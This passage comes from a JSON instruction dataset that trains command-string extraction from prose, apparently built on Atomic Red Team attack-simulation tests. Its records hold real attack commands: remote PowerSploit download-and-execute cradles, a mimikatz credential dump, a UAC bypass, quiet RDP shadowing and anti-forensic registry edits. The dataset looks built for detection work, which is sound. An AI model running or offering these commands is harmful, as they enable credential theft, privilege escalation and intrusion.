and remove an application execution artifact, modify the registry using the following command, then restart the machine: reg add \"HKLM\\SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Memory Management\\PrefetchParameters\" /v \"EnablePrefetcher\" /t REG_DWORD /d 0 /f; To configure RDP shadowing in quiet mode, first ensure the Remote Desktop Services are running, then update the remote system's registry with this command: $s= New-CimSession -Computername #{server_name} -SessionOption (New-CimSessionOption -Protocol Dcom)\nGet-CimInstance -Namespace ROOT\\StandardCimv2 -ClassName MSFT_NetFirewallRule -Filter 'DisplayName=\"Remote Desktop - Shadow (TCP-In)\"' -CimSession $s | Invoke-CimMethod -MethodName Enable\nInvoke-CimMethod -ClassName StdRegProv -MethodName SetDWORDValue -Arguments @{hDefKey=[uint32]2147483650; sSubKeyName=\"Software\\Policies\\Microsoft\\Windows NT\\Terminal Services\"; sValueName=\"shadow\"; uValue=[uint32]2} -CimSession $s", "output": "{\"command_list\": [\"reg add \\\"HKLM\\\\SYSTEM\\\\CurrentControlSet\\\\Control\\\\Session Manager\\\\Memory Management\\\\PrefetchParameters\\\" /v \\\"EnablePrefetcher\\\" /t REG_DWORD /d 0 /f\\n\", \"$s= New-CimSession -Computername #{server_name} -SessionOption (New-CimSessionOption -Protocol Dcom)\\nGet-CimInstance -Namespace ROOT\\\\StandardCimv2 -ClassName MSFT_NetFirewallRule -Filter 'DisplayName=\\\"Remote Desktop - Shadow (TCP-In)\\\"' -CimSession $s | Invoke-CimMethod -MethodName Enable\\nInvoke-CimMethod -ClassName StdRegProv -MethodName SetDWORDValue -Arguments @{hDefKey=[uint32]2147483650; sSubKeyName=\\\"Software\\\\Policies\\\\Microsoft\\\\Windows NT\\\\Terminal Services\\\"; sValueName=\\\"shadow\\\"; uValue=[uint32]2} -CimSession $s\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n An indicator of malicious activity involves spawning a command prompt and executing a command with an IP address, which can be done using the following command:\n[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nIEX (iwr \"https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1\" -UseBasicParsing)\n$macrocode = \" Open `\"#{jse_path}`\" For Output As #1`n Write #1, `\"WScript.Quit`\"`n Close #1`n Shell`$ `\"ping 8.8.8.8`\"`n\"\nInvoke-MalDoc -macroCode $macrocode -officeProduct \"#{ms_product}\"\n; To discover containers and resources in a container environment, adversaries may use the following command sequence: docker build -t t1613 $PathtoAtomicsFolder/T1613/src/\ndocker run --name t1613_container --rm -d -t t1613\ndocker ps\ndocker stats --no-stream\ndocker inspect $(docker ps -l -q --filter ancestor=t1613)", "output": "{\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\nIEX (iwr \\\"https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1\\\" -UseBasicParsing)\\n$macrocode = \\\" Open `\\\"#{jse_path}`\\\" For Output As #1`n Write #1, `\\\"WScript.Quit`\\\"`n Close #1`n Shell`$ `\\\"ping 8.8.8.8`\\\"`n\\\"\\nInvoke-MalDoc -macroCode $macrocode -officeProduct \\\"#{ms_product}\\\"\\n\", \"docker build -t t1613 $PathtoAtomicsFolder/T1613/src/\\ndocker run --name t1613_container --rm -d -t t1613\\ndocker ps\\ndocker stats --no-stream\\ndocker inspect $(docker ps -l -q --filter ancestor=t1613)\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n When executed successfully (with AV turned off), this command opens a .docx file that loads a remote macro template: start \"#{docx_file}\". The default behavior triggers Calculator.exe.; Upon execution, domain accounts will be enumerated by running these commands which will show their output directly in the PowerShell window: net user /domain\nnet group /domain", "output": "{\"command_list\": [\"start \\\"#{docx_file}\\\"\\n\", \"net user /domain\\nnet group /domain\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n The test scenario involves collecting display screenshots and simulating left mouse clicks via this comprehensive command block: cmd /c start /b psr.exe /start /output #{output_file} /sc 1 /gui 0 /stopevent 12\nAdd-Type -MemberDefinition '[DllImport(\"user32.dll\")] public static extern void mouse_event(int flags, int dx, int dy, int cButtons, int info);' -Name U32 -Namespace W;\n[W.U32]::mouse_event(0x02 -bor 0x04 -bor 0x01, 0, 0, 0, 0);\ncmd /c \"timeout #{recording_time} > NULL && psr.exe /stop\"; To capture the desktop screen using the .NET API, run the following command: Add-Type -AssemblyName System.Windows.Forms\n$screen = [Windows.Forms.SystemInformation]::VirtualScreen\n$bitmap = New-Object Drawing.Bitmap $screen.Width, $screen.Height\n$graphic = [Drawing.Graphics]::FromImage($bitmap)\n$graphic.CopyFromScreen($screen.Left, $screen.Top, 0, 0, $bitmap.Size)\n$bitmap.Save(\"#{output_file}\")", "output": "{\"command_list\": [\"cmd /c start /b psr.exe /start /output #{output_file} /sc 1 /gui 0 /stopevent 12\\nAdd-Type -MemberDefinition '[DllImport(\\\"user32.dll\\\")] public static extern void mouse_event(int flags, int dx, int dy, int cButtons, int info);' -Name U32 -Namespace W;\\n[W.U32]::mouse_event(0x02 -bor 0x04 -bor 0x01, 0, 0, 0, 0);\\ncmd /c \\\"timeout #{recording_time} > NULL && psr.exe /stop\\\"\\n\", \"Add-Type -AssemblyName System.Windows.Forms\\n$screen = [Windows.Forms.SystemInformation]::VirtualScreen\\n$bitmap = New-Object Drawing.Bitmap $screen.Width, $screen.Height\\n$graphic = [Drawing.Graphics]::FromImage($bitmap)\\n$graphic.CopyFromScreen($screen.Left, $screen.Top, 0, 0, $bitmap.Size)\\n$bitmap.Save(\\\"#{output_file}\\\")\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n To enumerate network shares using SharpShares, a tool integrated with Cobalt Strike's execute-assembly module, use this command: cmd /c '#{sharp_path}' /ldap:all | out-file -filepath '#{output_path}'.; Snaffler can be executed to scan for accessible shares and credential files via this command: invoke-expression 'cmd /c start powershell -command { cmd /c \"#{snaffler_path}\" -a -o \"#{output_path}\" }; start-sleep 90; stop-process -name \"snaffler\"'", "output": "{\"command_list\": [\"cmd /c '#{sharp_path}' /ldap:all | out-file -filepath \\\"#{output_path}\\\"\", \"invoke-expression 'cmd /c start powershell -command { cmd /c \\\"#{snaffler_path}\\\" -a -o \\\"#{output_path}\\\" }; start-sleep 90; stop-process -name \\\"snaffler\\\"'\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n This script runs mimikatz through PsSendKeys, automatically opening file explorer and notepad before displaying credentials, with the command: $url='https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f650520c4b1004daf8b3ec08007a0b945b91253a/Exfiltration/Invoke-Mimikatz.ps1';$wshell=New-Object -ComObject WScript.Shell;$reg='HKCU:\\Software\\Microsoft\\Notepad';$app='Notepad';$props=(Get-ItemProperty $reg);[Void][System.Reflection.Assembly]::LoadWithPartialName('System.Windows.Forms');@(@('iWindowPosY',([String]([System.Windows.Forms.Screen]::AllScreens)).Split('}')[0].Split('=')[5]),@('StatusBar',0))|ForEach{SP $reg (Item Variable:_).Value[0] (Variable _).Value[1]};$curpid=$wshell.Exec($app).ProcessID;While(!($title=GPS|?{(Item Variable:_).Value.id-ieq$curpid}|ForEach{(Variable _).Value.MainWindowTitle})){Start-Sleep -Milliseconds 500};While(!$wshell.AppActivate($title)){Start-Sleep -Milliseconds 500};$wshell.SendKeys('^o');Start-Sleep -Milliseconds 500;@($url,(' '*1000),'~')|ForEach{$wshell.SendKeys((Variable _).Value)};$res=$Null;While($res.Length -lt 2){[Windows.Forms.Clipboard]::Clear();@('^a','^c')|ForEach{$wshell.SendKeys((Item Variable:_).Value)};Start-Sleep -Milliseconds 500;$res=([Windows.Forms.Clipboard]::GetText())};[Windows.Forms.Clipboard]::Clear();@('%f','x')|ForEach{$wshell.SendKeys((Variable _).Value)};If(GPS|?{(Item Variable:_).Value.id-ieq$curpid}){@('{TAB}','~')|ForEach{$wshell.SendKeys((Item Variable:_).Value)}};@('iWindowPosDY','iWindowPosDX','iWindowPosY','iWindowPosX','StatusBar')|ForEach{SP $reg (Item Variable:_).Value $props.((Variable _).Value)};IEX($res);invoke-mimikatz -dumpcr; This Windows 10-specific method opens the backup and restore window upon execution, utilizing a UAC bypass technique as explained in https://enigma0x3.net/2017/03/14/bypassing-uac-using-app-paths/. Run it via the command: Powershell.exe \"IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/enigma0x3/Misc-PowerShell-Stuff/a0dfca7056ef20295b156b8207480dc2465f94c3/Invoke-AppPathBypass.ps1'); Invoke-AppPathBypass -Payload 'C:\\Windows\\System32\\cmd.exe'\"", "output": "{\"command_list\": [\"$url='https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f650520c4b1004daf8b3ec08007a0b945b91253a/Exfiltration/Invoke-Mimikatz.ps1';$wshell=New-Object -ComObject WScript.Shell;$reg='HKCU:\\\\Software\\\\Microsoft\\\\Notepad';$app='Notepad';$props=(Get-ItemProperty $reg);[Void][System.Reflection.Assembly]::LoadWithPartialName('System.Windows.Forms');@(@('iWindowPosY',([String]([System.Windows.Forms.Screen]::AllScreens)).Split('}')[0].Split('=')[5]),@('StatusBar',0))|ForEach{SP $reg (Item Variable:_).Value[0] (Variable _).Value[1]};$curpid=$wshell.Exec($app).ProcessID;While(!($title=GPS|?{(Item Variable:_).Value.id-ieq$curpid}|ForEach{(Variable _).Value.MainWindowTitle})){Start-Sleep -Milliseconds 500};While(!$wshell.AppActivate($title)){Start-Sleep -Milliseconds 500};$wshell.SendKeys('^o');Start-Sleep -Milliseconds 500;@($url,(' '*1000),'~')|ForEach{$wshell.SendKeys((Variable _).Value)};$res=$Null;While($res.Length -lt 2){[Windows.Forms.Clipboard]::Clear();@('^a','^c')|ForEach{$wshell.SendKeys((Item Variable:_).Value)};Start-Sleep -Milliseconds 500;$res=([Windows.Forms.Clipboard]::GetText())};[Windows.Forms.Clipboard]::Clear();@('%f','x')|ForEach{$wshell.SendKeys((Variable _).Value)};If(GPS|?{(Item Variable:_).Value.id-ieq$curpid}){@('{TAB}','~')|ForEach{$wshell.SendKeys((Item Variable:_).Value)}};@('iWindowPosDY','iWindowPosDX','iWindowPosY','iWindowPosX','StatusBar')|ForEach{SP $reg (Item Variable:_).Value $props.((Variable _).Value)};IEX($res);invoke-mimikatz -dumpcr\\n\", \"Powershell.exe \\\"IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/enigma0x3/Misc-PowerShell-Stuff/a0dfca7056ef20295b156b8207480dc2465f94c3/Invoke-AppPathBypass.ps1'); Invoke-AppPathBypass -Payload 'C:\\\\Windows\\\\System32\\\\cmd.exe'\\\"\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr 